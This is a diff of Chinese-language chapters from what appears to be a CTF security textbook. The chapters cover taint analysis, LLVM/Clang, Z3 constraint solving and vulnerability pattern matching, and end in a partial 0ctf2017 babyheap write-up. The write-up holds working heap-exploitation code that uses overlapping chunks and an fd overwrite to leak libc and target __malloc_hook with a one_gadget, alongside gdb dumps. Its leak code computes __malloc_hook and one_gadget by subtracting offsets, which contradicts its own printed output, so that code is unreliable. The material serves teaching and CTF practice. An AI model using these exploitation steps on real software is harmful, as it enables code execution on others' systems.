对于污点信息流,通过污点跟踪和函数监控,已经能够进行污点信息流流动方向的分析。但由于缺少对象级的信息,仅靠指令级的信息流动并不能完全给出要分析的软件的确切行为。因此,需要在函数监控的基础上进行视图重建,如获取文件对象和套接字对象的详细信息,以方便进一步的分析工作。
|
||||
|
||||
根据漏洞分析的实际需求,污点分析应包括两方面的信息:
|
||||
|
||||
- 污点的传播关系,对于任一污点能够获知其传播情况。
|
||||
- 对污点数据进行处理的所有指令信息,包括指令地址、操作码、操作数以及在污点处理过程中这些指令执行的先后顺序等。
|
||||
|
||||
污点动态跟踪的实现通常使用:
|
||||
|
||||
- 影子内存:真实内存中污点数据的镜像,用于存放程序执行的当前时刻所有的有效污点。
|
||||
- 污点传播树:用于表示污点的传播关系。
|
||||
- 污点处理指令链:用于按时间顺序存储与污点数据处理相关的所有指令。
|
||||
@ -198,7 +219,9 @@ sql1 = a & c
|
||||
当遇到会引起污点传播的指令时,首先对指令中的每个操作数都通过污点快速映射查找影子内存中是否存在与之对应的影子污点从而确定其是否为污点数据,然后根据污点传播规则得到该指令引起的污点传播结果,并将传播产生的新污点添加到影子内存和污点传播树中,同时将失效污点对应的影子污点删除。同时由于一条指令是否涉及污点数据的处理,需要在污点分析过程中动态确定,因此需要在污点处理指令链中记录污点数据的指令信息。
|
||||
|
||||
#### 污点误用检查
|
||||
|
||||
污点敏感点,即 Sink 点,是污点数据有可能被误用的指令或系统调用点,主要分为:
|
||||
|
||||
- 跳转地址:检查污点数据是否用于跳转对象,如返回地址、函数指针、函数指针偏移等。具体操作是在每个跳转类指令(如call、ret、jmp等)执行前进行监控分析,保证跳转对象不是污点数据所在的内存地址。
|
||||
- 格式化字符串:检查污点数据是否用作printf系列函数的格式化字符串参数。
|
||||
- 系统调用参数:检查特殊系统调用的特殊参数是否为污点数据。
|
||||
@ -207,9 +230,10 @@ sql1 = a & c
|
||||
|
||||
在进行污点误用检查时,通常需要根据一些漏洞模式来进行检查,首先需要明确常见漏洞在二进制代码上的表现形式,然后将其提炼成漏洞模式,以更有效地指导自动化的安全分析。
|
||||
|
||||
### 动态污点分析的实例分析
|
||||
|
||||
### 实例分析
|
||||
下面我们来看一个使用动态污点分析的方法检测缓冲区溢出漏洞的例子。
|
||||
|
||||
```c
|
||||
void fun(char *str)
|
||||
{
|
||||
@ -228,10 +252,12 @@ int main(int argc, char *argv[])
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
|
||||
漏洞很明显, 调用 strncpy 函数存在缓冲区溢出。
|
||||
|
||||
程序接受外部输入字符串的二进制代码如下:
|
||||
```
|
||||
|
||||
```text
|
||||
0x08048609 <+51>: lea eax,[ebp-0x2a]
|
||||
0x0804860c <+54>: push eax
|
||||
0x0804860d <+55>: call 0x8048400 <gets@plt>
|
||||
@ -240,8 +266,10 @@ int main(int argc, char *argv[])
|
||||
0x0804862f <+89>: push eax
|
||||
0x08048630 <+90>: call 0x8048566 <fun>
|
||||
```
|
||||
|
||||
程序调用 strncpy 函数的二进制代码如下:
|
||||
```
|
||||
|
||||
```text
|
||||
0x080485a1 <+59>: push DWORD PTR [ebp-0x2c]
|
||||
0x080485a4 <+62>: call 0x8048420 <strlen@plt>
|
||||
0x080485a9 <+67>: add esp,0x10
|
||||
|
@ -5,16 +5,17 @@
|
||||
- [内部实现](#内部实现)
|
||||
- [参考资料](#参考资料)
|
||||
|
||||
|
||||
## 简介
|
||||
|
||||
Clang 一个基于 LLVM 的编译器前端,支持 C/C++/Objective-C 等语言。其开发目标是替代 GCC。
|
||||
|
||||
在软件安全的应用中,已经有许多代码分析工具都基于 Clang 和 LLVM,开发社区也都十分活跃。
|
||||
|
||||
|
||||
## 初步使用
|
||||
|
||||
首先我们来编译安装 LLVM 和 Clang:
|
||||
```bash
|
||||
|
||||
```text
|
||||
$ svn co http://llvm.org/svn/llvm-project/llvm/trunk llvm
|
||||
$ cd llvm/tools
|
||||
$ svn co http://llvm.org/svn/llvm-project/cfe/trunk clang
|
||||
@ -36,13 +37,14 @@ $ cmake --build .
|
||||
$ cmake --build . --target install
|
||||
```
|
||||
|
||||
|
||||
## 内部实现
|
||||
|
||||
Clang 前端的主要流程如下:
|
||||
```
|
||||
|
||||
```text
|
||||
Driver -> Lex -> Parse -> Sema -> CodeGen (LLVM IR)
|
||||
```
|
||||
|
||||
|
||||
## 参考资料
|
||||
|
||||
- [llvm documentation](http://llvm.org/docs/index.html)
|
||||
|
@ -4,13 +4,14 @@
|
||||
- [初步使用](#初步使用)
|
||||
- [参考资料](#参考资料)
|
||||
|
||||
|
||||
## 简介
|
||||
|
||||
LLVM 是当今炙手可热的编译器基础框架。它从一开始就采用了模块化设计的思想,使得每一个编译阶段都被独立出来,形成了一系列的库。LLVM 使用面向对象的 C++ 语言开发,为编译器开发人员提供了易用而丰富的编程接口和 API。
|
||||
|
||||
|
||||
## 初步使用
|
||||
|
||||
首先我们通过著名的 helloWorld 来熟悉下 LLVM 的使用。
|
||||
|
||||
```c
|
||||
#include <stdio.h>
|
||||
int main()
|
||||
@ -20,11 +21,14 @@ int main()
|
||||
```
|
||||
|
||||
将 C 源码转换成 LLVM 汇编码:
|
||||
```
|
||||
|
||||
```text
|
||||
$ clang -emit-llvm -S hello.c -o hello.ll
|
||||
```
|
||||
|
||||
生成的 LLVM IR 如下:
|
||||
```
|
||||
|
||||
```text
|
||||
; ModuleID = 'hello.c'
|
||||
source_filename = "hello.c"
|
||||
target datalayout = "e-m:e-i64:64-f80:128-n8:16:32:64-S128"
|
||||
@ -51,14 +55,18 @@ attributes #1 = { "correctly-rounded-divide-sqrt-fp-math"="false" "disable-tail-
|
||||
!2 = !{i32 7, !"PIE Level", i32 2}
|
||||
!3 = !{!"clang version 5.0.1 (tags/RELEASE_501/final)"}
|
||||
```
|
||||
|
||||
该过程从词法分析开始,将 C 源码分解成 token 流,然后传递给语法分析器,语法分析器在 CFG(上下文无关文法)的指导下将 token 流组织成 AST(抽象语法树),接下来进行语义分析,检查语义正确性,最后生成 IR。
|
||||
|
||||
LLVM bitcode 有两部分组成:位流,以及将 LLVM IR 编码成位流的编码格式。使用汇编器 llvm-as 将 LLVM IR 转换成 bitcode:
|
||||
```
|
||||
|
||||
```text
|
||||
$ llvm-as hello.ll -o hello.bc
|
||||
```
|
||||
|
||||
结果如下:
|
||||
```
|
||||
|
||||
```text
|
||||
$ file hello.bc
|
||||
hello.bc: LLVM IR bitcode
|
||||
$ xxd -g1 hello.bc | head -n5
|
||||
@ -70,25 +78,32 @@ $ xxd -g1 hello.bc | head -n5
|
||||
```
|
||||
|
||||
反过来将 bitcode 转回 LLVM IR 也是可以的,使用反汇编器 llvm-dis:
|
||||
```
|
||||
|
||||
```text
|
||||
$ llvm-dis hello.bc -o hello.ll
|
||||
```
|
||||
|
||||
其实 LLVM 可以利用工具 lli 的即时编译器(JIT)直接执行 bitcode 格式的程序:
|
||||
```
|
||||
|
||||
```text
|
||||
$ lli hello.bc
|
||||
hello, world
|
||||
```
|
||||
|
||||
接下来使用静态编译器 llc 命令可以将 bitcode 编译为特定架构的汇编语言:
|
||||
```
|
||||
|
||||
```text
|
||||
$ llc -march=x86-64 hello.bc -o hello.s
|
||||
```
|
||||
|
||||
也可以使用 clang 来生成,结果是一样的:
|
||||
```
|
||||
|
||||
```text
|
||||
$ clang -S hello.bc -o hello.s -fomit-frame-pointer
|
||||
```
|
||||
|
||||
结果如下:
|
||||
|
||||
```asm
|
||||
.text
|
||||
.file "hello.c"
|
||||
@ -127,6 +142,6 @@ main: # @main
|
||||
.section ".note.GNU-stack","",@progbits
|
||||
```
|
||||
|
||||
|
||||
## 参考资料
|
||||
|
||||
- [llvm documentation](http://llvm.org/docs/index.html)
|
||||
|
@ -6,8 +6,8 @@
|
||||
- [Z3 在 CTF 中的运用](#z3-在-ctf-中的运用)
|
||||
- [参考资料](#参考资料)
|
||||
|
||||
|
||||
[Z3](https://github.com/Z3Prover/z3) 是一个由微软开发的可满足性摸理论(Satisfiability Modulo Theories,SMT)的约束求解器。所谓约束求解器就是用户使用某种特定的语言描述对象(变量)的约束条件,求解器将试图求解出能够满足所有约束条件的每个变量的值。Z3 可以用来检查满足一个或多个理论的公式的可满足性,也就是说,它可以自动化地通过内置理论对一阶逻辑多种排列进行可满足性校验。目前其支持的理论有:
|
||||
|
||||
- equality over free 函数和谓词符号
|
||||
- 实数和整形运算(有限支持非线性运算)
|
||||
- 位向量
|
||||
@ -17,10 +17,11 @@
|
||||
|
||||
因其强大的功能,Z3 已经被用于许多领域中,在安全领域,主要见于符号执行、Fuzzing、二进制逆向、密码学等。另外 Z3 提供了多种语言的接口,这里我们使用 Python。
|
||||
|
||||
|
||||
## 安装
|
||||
|
||||
在 Linux 环境下,执行下面的命令:
|
||||
```
|
||||
|
||||
```text
|
||||
$ git clone https://github.com/Z3Prover/z3.git
|
||||
$ cd z3
|
||||
$ python scripts/mk_make.py --python
|
||||
@ -30,12 +31,13 @@ $ sudo make install
|
||||
```
|
||||
|
||||
另外还可以使用 pip 来安装 Python 接口(py2和py3均可),这是二进制分析框架 angr 里内置的修改版:
|
||||
```
|
||||
|
||||
```text
|
||||
$ sudo pip install z3-solver
|
||||
```
|
||||
|
||||
|
||||
## Z3 理论基础
|
||||
|
||||
| Op | Mnmonics | Description |
|
||||
| --- | --- | --- |
|
||||
| 0 | true | 恒真 |
|
||||
@ -50,9 +52,10 @@ $ sudo pip install z3-solver
|
||||
| 9 | not | 否定 |
|
||||
| 10 | implies | Bi-implications |
|
||||
|
||||
|
||||
## 使用 Z3
|
||||
|
||||
先来看一个简单的例子:
|
||||
|
||||
```python
|
||||
>>> from z3 import *
|
||||
>>> x = Int('x')
|
||||
@ -60,6 +63,7 @@ $ sudo pip install z3-solver
|
||||
>>> solve(x > 2, y < 10, x + 2*y == 7)
|
||||
[y = 0, x = 7]
|
||||
```
|
||||
|
||||
首先定义了两个常量 x 和 y,类型是 Z3 内置的整数类型 `Int`,`solve()` 函数会创造一个 solver,然后对括号中的约束条件进行求解,注意在 Z3 默认情况下只会找到满足条件的一组解。
|
||||
|
||||
```python
|
||||
@ -80,9 +84,11 @@ x*x*x + 3*x*x*y + 3*x*y*y + y*y*y
|
||||
>>> simplify(t, mul_to_power=True) # mul_to_power 将乘法转换成乘方
|
||||
x**3 + 2*y*x**2 + x**2*y + 3*x*y**2 + y**3
|
||||
```
|
||||
|
||||
`simplify()` 函数用于对表达式进行化简,同时可以设置一些选项来满足不同的要求。更多选项使用 `help_simplify()` 获得。
|
||||
|
||||
同时,Z3 提供了一些函数可以解析表达式:
|
||||
|
||||
```python
|
||||
>>> n = x + y >= 3
|
||||
>>> "num args: ", n.num_args()
|
||||
@ -100,6 +106,7 @@ x**3 + 2*y*x**2 + x**2*y + 3*x*y**2 + y**3
|
||||
```
|
||||
|
||||
`set_param()` 函数用于对 Z3 的全局变量进行配置,如运算精度,输出格式等等:
|
||||
|
||||
```python
|
||||
>>> x = Real('x')
|
||||
>>> y = Real('y')
|
||||
@ -113,6 +120,7 @@ x**3 + 2*y*x**2 + x**2*y + 3*x*y**2 + y**3
|
||||
```
|
||||
|
||||
逻辑运算有 `And`、`Or`、`Not`、`Implies`、`If`,另外 `==` 表示 Bi-implications。
|
||||
|
||||
```python
|
||||
>>> p = Bool('p')
|
||||
>>> q = Bool('q')
|
||||
@ -126,6 +134,7 @@ x**3 + 2*y*x**2 + x**2*y + 3*x*y**2 + y**3
|
||||
```
|
||||
|
||||
Z3 提供了多种 Solver,即 `Solver` 类,其中实现了很多 SMT 2.0 的命令,如 `push`, `pop`, `check` 等等。
|
||||
|
||||
```python
|
||||
>>> x = Int('x')
|
||||
>>> y = Int('y')
|
||||
@ -174,6 +183,7 @@ y = 13
|
||||
```
|
||||
|
||||
为了将 Z3 中的数和 Python 区分开,应该使用 `IntVal()`、`RealVal()` 和 `RatVal()` 分别返回 Z3 整数、实数和有理数值。
|
||||
|
||||
```python
|
||||
>>> 1/3
|
||||
0.3333333333333333
|
||||
@ -197,7 +207,9 @@ x + 1/4
|
||||
>>> solve(3*x == 1)
|
||||
[x = 0.3333333333?]
|
||||
```
|
||||
|
||||
在混合使用实数和整数变量时,Z3Py 会自动添加强制类型转换将整数表达式转换成实数表达式。
|
||||
|
||||
```python
|
||||
>>> x = Real('x')
|
||||
>>> y = Int('y')
|
||||
@ -210,6 +222,7 @@ ToReal(y) + c
|
||||
```
|
||||
|
||||
现代的CPU使用固定大小的位向量进行算术运算,在 Z3 中,使用函数 `BitVec()` 创建位向量常量,`BitVecVal()` 返回给定位数的位向量值。
|
||||
|
||||
```python
|
||||
>>> x = BitVec('x', 16) # 16 位,命名为 x
|
||||
>>> y = BitVec('x', 16)
|
||||
@ -229,10 +242,12 @@ x + 2
|
||||
True
|
||||
```
|
||||
|
||||
|
||||
## Z3 在 CTF 中的运用
|
||||
#### re PicoCTF2013 Harder_Serial
|
||||
|
||||
### re PicoCTF2013 Harder_Serial
|
||||
|
||||
题目如下,是一段 Python 代码,要求输入一段 20 个数字构成的序列号,然后程序会对序列号的每一位进行验证,以满足各种要求。题目难度不大,但完全手工验证是一件麻烦的事,而使用 Z3 的话,只要定义好这些条件,就可以得出满足条件的值。
|
||||
|
||||
```python
|
||||
import sys
|
||||
print ("Please enter a valid serial number from your RoboCorpIntergalactic purchase")
|
||||
@ -303,17 +318,23 @@ if check_serial(sys.argv[1]):
|
||||
else:
|
||||
print ("I'm sorry that is incorrect. Please use a valid RoboCorpIntergalactic serial number")
|
||||
```
|
||||
|
||||
首先创建一个求解器实例,然后将序列的每个数字定义为常量:
|
||||
|
||||
```python
|
||||
serial = [Int("serial[%d]" % i) for i in range(20)]
|
||||
```
|
||||
|
||||
接着定义约束条件,注意,除了题目代码里的条件外,还有一些隐藏的条件,比如这一句:
|
||||
|
||||
```python
|
||||
solver.add(serial[11] / serial[3] == 0)
|
||||
```
|
||||
|
||||
因为被除数不能为 0,所以 `serial[3]` 不能为 0。另外,每个序列号数字都是大于等于 0,小于 9 的。最后求解得到结果。
|
||||
|
||||
完整的 exp 如下,其他文件在 [github](../src/others/5.8.1_z3) 相应文件夹中。
|
||||
|
||||
```python
|
||||
from z3 import *
|
||||
|
||||
@ -360,7 +381,8 @@ if solver.check() == sat:
|
||||
```
|
||||
|
||||
Bingo!!!
|
||||
```
|
||||
|
||||
```text
|
||||
$ python exp.py
|
||||
serial[2] = 8
|
||||
serial[11] = 0
|
||||
@ -388,10 +410,11 @@ Please enter a valid serial number from your RoboCorpIntergalactic purchase
|
||||
#>42893724579039578812<#
|
||||
Thank you! Your product has been verified!
|
||||
```
|
||||
|
||||
这一题简直是为 Z3 量身定做的,方法也很简单,但 Z3 远比这个强大,后面我们还会讲到它更高级的应用。
|
||||
|
||||
|
||||
## 参考资料
|
||||
|
||||
- [Z3一把梭:用约束求解搞定一类CTF题](https://zhuanlan.zhihu.com/p/30548907)
|
||||
- [Z3 API in Python](https://ericpony.github.io/z3py-tutorial/guide-examples.htm)
|
||||
- [z3py API](http://z3prover.github.io/api/html/index.html)
|
||||
|
@ -2,7 +2,7 @@
|
||||
|
||||
- [参考资料](#参考资料)
|
||||
|
||||
|
||||
## 参考资料
|
||||
|
||||
- [Quick introduction into SAT/SMT solvers and symbolic execution](https://yurichev.com/writings/SAT_SMT_draft-EN.pdf)
|
||||
- [Practical Symbolic Execution and SATisfiability Module Theories (SMT) 101](http://deniable.org/reversing/symbolic-execution)
|
||||
|
@ -3,15 +3,16 @@
|
||||
- [基本原理](#基本原理)
|
||||
- [方法实现](#方法实现)
|
||||
|
||||
|
||||
## 基本原理
|
||||
|
||||
基于模式的漏洞分析能够比较精确地通过形式化描述证明软件系统的执行,并能够以自动机的形式化语言对软件程序进行形式化建模,从而合理地描述模式中各个模块的不同属性和属性之间的依赖关系,方便分析人员对软件系统的检测和分析。
|
||||
|
||||
在对软件程序进行模式分析之前,需要进行不同漏洞模式的构建,以待后续进行基于模式的匹配分析。根据不同漏洞模式触发原理和触发机制,分析各个软件模块的不同属性和依赖关系,从中抽象出漏洞触发的核心条件,并建立基于形式化语言或描述性语言的漏洞模式。漏洞模式建立后,下一步将针对二进制抽象进行基于漏洞模式的分析检测,首先将程序反汇编,并将反汇编代码转化为中间表示。针对二进制程序的中间表示进一步分析出其相关属性信息描述,并针对其属性信息进行模式匹配和检测分析。
|
||||
|
||||
|
||||
## 方法实现
|
||||
#### 反汇编分析
|
||||
|
||||
### 反汇编分析
|
||||
|
||||
利用反汇编技术可以将二进制代码转化为可理解程度更高的汇编级代码。
|
||||
|
||||
- 基本算法
|
||||
@ -23,16 +24,19 @@
|
||||
- 基于控制流的递归扫描策略:为了避免把数据误认为指令,递归扫描算法重视控制流对反汇编过程的影响,控制流根据某一条指令是否被另一条指令引用来决定是否对其进行反汇编。
|
||||
|
||||
将程序反汇编后,可以得到许多程序分析的重要信息:
|
||||
|
||||
- 反汇编文本:包括汇编指令信息以及控制流信息等
|
||||
- 函数信息:包括函数入口地址、长度、参数、导入导出表等
|
||||
- 交叉引用:包括代码交叉引用和数据交叉引用
|
||||
|
||||
反汇编的不足:
|
||||
|
||||
- 区分数据和代码十分困难
|
||||
- 静态反汇编不能得到动态信息
|
||||
- 指令长度是可变的,导致难以确定指令的结束位置
|
||||
|
||||
#### 逆向中间表示
|
||||
### 逆向中间表示
|
||||
|
||||
- 逆向中间表示的设计原则:
|
||||
- 使用精简指令集,能够极大地减少汇编语言的指令数目,而且每条指令都采用标准字长,能够简化分析过程
|
||||
- 使用足够多的寄存器数量,以保证中间语言能够满足不同处理器架构的需求
|
||||
@ -41,13 +45,16 @@
|
||||
|
||||
目前常用的中间表示有:REIL、VEX、Vine 等。
|
||||
|
||||
#### 漏洞模式建模和检测
|
||||
### 漏洞模式建模和检测
|
||||
|
||||
缓冲区溢出类漏洞模式:
|
||||
|
||||
- 不安全函数调用模式。不安全函数主要包括一些没有判断输入长度的内存和字符串操作函数,如 strcpy,其原型是 `char *strcpy(char *dest, const char *src);`,为其建立漏洞模式首先需要获取目标地址缓冲区大小和源数据缓冲区大小,如果源缓冲区大于目的缓冲区,则存在溢出。
|
||||
1. 根据定义的不安全函数库,搜索定位程序中调用不安全函数的位置
|
||||
2. 针对不同的不安全函数,定位源缓冲区和目的缓冲区,并通过回溯程序,确定源缓冲区和目的缓冲区的大小和位置关系以及源缓冲区数据是否可控
|
||||
3. 根据定义的基于不安全函数的缓冲区溢出模式,判断是否会发生缓冲区溢出漏洞
|
||||
- 循环写内存模式。如果一个程序的写缓冲区操作发生在循环中,且循环次数是用户可控的,就可能发生溢出,如:
|
||||
|
||||
```c
|
||||
taint_data = fread();
|
||||
buffer[256];
|
||||
@ -58,11 +65,13 @@
|
||||
index++;
|
||||
} // 如果 taint_size > buffer_size,则会发生溢出
|
||||
```
|
||||
|
||||
1. 定位程序中的循环写内存操作的位置
|
||||
2. 通过回溯程序,做三方面的判断,即判断循环控制变量是否可控和程序对循环变量的验证是否完备、判断目的缓冲区是否位于关键的内存区域、判断源缓冲区的数据来源是否可控
|
||||
3. 根据回溯程序的结果,给出检测结果、即循环控制变量可控且验证不完备且目的缓冲区位于关键内存区域,即存在缓冲区溢出漏洞
|
||||
|
||||
整数溢出类漏洞模式:
|
||||
|
||||
- 整型运算以及赋值操作的抽象表示。
|
||||
- `Operation(addr) = {(opcode, result, loperand, roperand)}`
|
||||
- Operation(addr) 表示地址为 addr 的算术运算;result 表示运算结果的类型,opcode 表示运算名称,loperand 和 roperand 分别表示运算的左右操作数
|
||||
@ -74,6 +83,7 @@
|
||||
3. 根据漏洞模式匹配情况和溢出造成的危险操作,得到最终结果
|
||||
|
||||
内存地址对象破坏性调用漏洞模式:如 use-after-free。
|
||||
|
||||
1. 需要分析函数的功能,检测是否存在内存地址释放型函数以及内存地址调用型函数
|
||||
2. 检测函数调用的顺序是否正常
|
||||
3. 检测函数调用过程中,是否针对特定对象发生内存地址破坏性调用的异常情况,如果存在,则说明存在漏洞
|
||||
|
@ -5,12 +5,13 @@
|
||||
- [漏洞利用](#漏洞利用)
|
||||
- [参考资料](#参考资料)
|
||||
|
||||
|
||||
[下载文件](../src/writeup/6.1.10_pwn_0ctf2017_babyheap2017)
|
||||
|
||||
## 题目复现
|
||||
|
||||
这个题目给出了二进制文件。在 Ubuntu 16.04 上,libc 就用自带的。
|
||||
```
|
||||
|
||||
```text
|
||||
$ file babyheap
|
||||
babyheap: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=9e5bfa980355d6158a76acacb7bda01f4e3fc1c2, stripped
|
||||
$ checksec -f babyheap
|
||||
@ -19,15 +20,18 @@ Full RELRO Canary found NX enabled PIE enabled No RPATH No RU
|
||||
$ file /lib/x86_64-linux-gnu/libc-2.23.so
|
||||
/lib/x86_64-linux-gnu/libc-2.23.so: ELF 64-bit LSB shared object, x86-64, version 1 (GNU/Linux), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=088a6e00a1814622219f346b41e775b8dd46c518, for GNU/Linux 2.6.32, stripped
|
||||
```
|
||||
|
||||
64 位程序,保护全开。
|
||||
|
||||
把它运行起来:
|
||||
```
|
||||
socat tcp4-listen:10001,reuseaddr,fork exec:./babyheap &
|
||||
|
||||
```text
|
||||
$ socat tcp4-listen:10001,reuseaddr,fork exec:./babyheap &
|
||||
```
|
||||
|
||||
一个典型的堆利用题目:
|
||||
```
|
||||
|
||||
```text
|
||||
$ ./babyheap
|
||||
===== Baby Heap in 2017 =====
|
||||
1. Allocate
|
||||
@ -76,16 +80,18 @@ Index: 0
|
||||
Command: 5
|
||||
```
|
||||
|
||||
|
||||
## 题目解析
|
||||
|
||||
根据前面所学的知识,我们知道释放且只释放了一个 chunk 后,该 free chunk 会被加入到 unsorted bin 中,它的 fd/bk 指针指向了 libc 中的 main_arena 结构。我们已经知道了 Fill 数据的操作存在溢出漏洞,但并没有发现 UAF 漏洞,所以要想泄露出 libc 基址,得利用 Dump 操作。另外内存分配使用了 calloc 函数,这个函数与 malloc 的区别是,calloc 会将分配的内存空间每一位都初始化为 0,所以也不能通过分配和释放几个小 chunk,再分配一个大 chunk,来泄露其内容。
|
||||
|
||||
怎么利用 Dump 操作呢?如果能使两个 chunk 相重叠,Free 一个,Dump 另一个,或许可行。
|
||||
|
||||
|
||||
## 漏洞利用
|
||||
#### leak libc
|
||||
|
||||
### leak libc
|
||||
|
||||
还是一样的,为了方便调试,先关掉 ASLR。首先分配 3 个 fast chunk 和 1 个 small chunk,其实填充数据对漏洞利用是没有意义的,这里只是为了方便观察:
|
||||
|
||||
```python
|
||||
alloc(0x10)
|
||||
alloc(0x10)
|
||||
@ -98,7 +104,8 @@ fill(2, "A"*16)
|
||||
fill(3, "A"*16)
|
||||
fill(4, "A"*128)
|
||||
```
|
||||
```
|
||||
|
||||
```text
|
||||
gef➤ x/40gx 0x0000555555757010-0x10
|
||||
0x555555757000: 0x0000000000000000 0x0000000000000021 <-- chunk 0
|
||||
0x555555757010: 0x4141414141414141 0x4141414141414141
|
||||
@ -132,16 +139,19 @@ gef➤ x/20gx 0xafc966564d0-0x10
|
||||
0xafc96656540: 0x0000000000000000 0x0000000000000000
|
||||
0xafc96656550: 0x0000000000000000 0x0000000000000000
|
||||
```
|
||||
|
||||
另外我们看到,chunk 的序号被存储到一个 mmap 分配出来的结构体中,包含了 chunk 的地址和大小。程序就是通过该结构体寻找 chunk,然后各种操作的。
|
||||
|
||||
free 掉两个 fast chunk,这样 chunk 2 的 fd 指针会被指向 chunk 1:
|
||||
|
||||
```python
|
||||
free(1)
|
||||
free(2)
|
||||
```
|
||||
```
|
||||
|
||||
```text
|
||||
gef➤ x/2gx &main_arena
|
||||
0x7ffff7dd1b20 <main_arena>: 0x0000000000000000 0x0000555555757040
|
||||
0x7ffff7dd1b20 <main_arena>: 0x0000000000000000 0x0000555555757040
|
||||
gef➤ heap bins fast
|
||||
[ Fastbins for arena 0x7ffff7dd1b20 ]
|
||||
Fastbins[idx=0, size=0x10] ← Chunk(addr=0x555555757050, size=0x20, flags=PREV_INUSE) ← Chunk(addr=0x555555757030, size=0x20, flags=PREV_INUSE)
|
||||
@ -178,9 +188,11 @@ gef➤ x/20gx 0xafc966564d0-0x10
|
||||
0xafc96656540: 0x0000000000000000 0x0000000000000000
|
||||
0xafc96656550: 0x0000000000000000 0x0000000000000000
|
||||
```
|
||||
|
||||
free 掉的 chunk,其结构体被清空,等待下一次 malloc,并添加到空出来的地方。
|
||||
|
||||
通过溢出漏洞修改已被释放的 chunk 2,让 fd 指针指向 chunk 4,这样就将 small chunk 加入到了 fastbins 链表中,然后还需要把 chunk 4 的 0x91 改成 0x21 以绕过 fastbins 大小的检查:
|
||||
|
||||
```python
|
||||
payload = "A"*16
|
||||
payload += p64(0)
|
||||
@ -197,9 +209,10 @@ payload += p64(0)
|
||||
payload += p64(0x21)
|
||||
fill(3, payload)
|
||||
```
|
||||
```
|
||||
|
||||
```text
|
||||
gef➤ x/2gx &main_arena
|
||||
0x7ffff7dd1b20 <main_arena>: 0x0000000000000000 0x0000555555757040
|
||||
0x7ffff7dd1b20 <main_arena>: 0x0000000000000000 0x0000555555757040
|
||||
gef➤ heap bins fast
|
||||
[ Fastbins for arena 0x7ffff7dd1b20 ]
|
||||
Fastbins[idx=0, size=0x10] ← Chunk(addr=0x555555757050, size=0x20, flags=PREV_INUSE) ← Chunk(addr=0x555555757090, size=0x20, flags=PREV_INUSE) ← [Corrupted chunk at 0x4141414141414151]
|
||||
@ -227,6 +240,7 @@ gef➤ x/40gx 0x0000555555757010-0x10
|
||||
```
|
||||
|
||||
现在我们再分配两个 chunk,它们都会从 fastbins 中被取出来,而且 new chunk 2 会和原来的 chunk 4 起始位置重叠,但前者是 fast chunk,而后者是 small chunk,即一个大 chunk 里包含了一个小 chunk,这正是我们需要的:
|
||||
|
||||
```python
|
||||
alloc(0x10)
|
||||
alloc(0x10)
|
||||
@ -234,9 +248,10 @@ fill(1, "B"*16)
|
||||
fill(2, "C"*16)
|
||||
fill(4, "D"*16)
|
||||
```
|
||||
```
|
||||
|
||||
```text
|
||||
gef➤ x/2gx &main_arena
|
||||
0x7ffff7dd1b20 <main_arena>: 0x0000000000000000 0x4141414141414141
|
||||
0x7ffff7dd1b20 <main_arena>: 0x0000000000000000 0x4141414141414141
|
||||
gef➤ x/40gx 0x0000555555757010-0x10
|
||||
0x555555757000: 0x0000000000000000 0x0000000000000021 <-- chunk 0
|
||||
0x555555757010: 0x4141414141414141 0x4141414141414141
|
||||
@ -270,9 +285,11 @@ gef➤ x/20gx 0xafc966564d0-0x10
|
||||
0xafc96656540: 0x0000000000000000 0x0000000000000000
|
||||
0xafc96656550: 0x0000000000000000 0x0000000000000000
|
||||
```
|
||||
|
||||
可以看到新分配的 chunk 2,填补到了被释放的 chunk 2 的位置上。
|
||||
|
||||
再次利用溢出漏洞将 chunk 4 的 0x21 改回 0x91,然后为了避免 free(4) 后该 chunk 被合并进 top chunk,需要再分配一个 small chunk:
|
||||
|
||||
```python
|
||||
payload = "A"*16
|
||||
payload += p64(0)
|
||||
@ -282,7 +299,8 @@ fill(3, payload)
|
||||
alloc(0x80)
|
||||
fill(5, "A"*128)
|
||||
```
|
||||
```
|
||||
|
||||
```text
|
||||
gef➤ x/60gx 0x0000555555757010-0x10
|
||||
0x555555757000: 0x0000000000000000 0x0000000000000021 <-- chunk 0
|
||||
0x555555757010: 0x4141414141414141 0x4141414141414141
|
||||
@ -328,10 +346,12 @@ gef➤ x/20gx 0xafc966564d0-0x10
|
||||
```
|
||||
|
||||
这时,如果我们将 chunk 4 释放掉,其 fd 指针会被设置为指向 unsorted bin 链表的头部,这个地址在 libc 中,且相对位置固定,利用它就可以算出 libc 被加载的地址:
|
||||
|
||||
```python
|
||||
free(4)
|
||||
```
|
||||
```
|
||||
|
||||
```text
|
||||
gef➤ heap bins unsorted
|
||||
[ Unsorted Bin for arena 'main_arena' ]
|
||||
[+] unsorted_bins[0]: fw=0x555555757080, bk=0x555555757080
|
||||
@ -381,24 +401,28 @@ gef➤ x/20gx 0xafc966564d0-0x10
|
||||
```
|
||||
|
||||
最后利用 Dump 操作即可将地址泄漏出来:
|
||||
|
||||
```python
|
||||
leak = u64(dump(2)[:8])
|
||||
libc = leak - 0x3c4b78 # 0x3c4b78 = leak - libc
|
||||
__malloc_hook = libc - 0x3c4b10 # readelf -s libc.so.6 | grep __malloc_hook@
|
||||
one_gadget = libc - 0x4526a
|
||||
```
|
||||
```
|
||||
|
||||
```text
|
||||
[*] leak => 0x7ffff7dd1b78
|
||||
[*] libc => 0x7ffff7a0d000
|
||||
[*] __malloc_hook => 0x7ffff7dd1b10
|
||||
[*] one_gadget => 0x7ffff7a5226a
|
||||
```
|
||||
|
||||
#### get shell
|
||||
由于开启了 Full RELRO,改写 GOT 表是不行了。考虑用 `__malloc_hook`,它是一个弱类型的函数指针变量,指向 ` void * function(size_t size, void * caller)`,当调用 malloc() 时,首先判断 hook 函数指针是否为空,不为空则调用它。所以这里我们传入一个 one-gadget 即可(详情请查看章节4.6)。
|
||||
### get shell
|
||||
|
||||
由于开启了 Full RELRO,改写 GOT 表是不行了。考虑用 `__malloc_hook`,它是一个弱类型的函数指针变量,指向 `void * function(size_t size, void * caller)`,当调用 malloc() 时,首先判断 hook 函数指针是否为空,不为空则调用它。所以这里我们传入一个 one-gadget 即可(详情请查看章节4.6)。
|
||||
|
||||
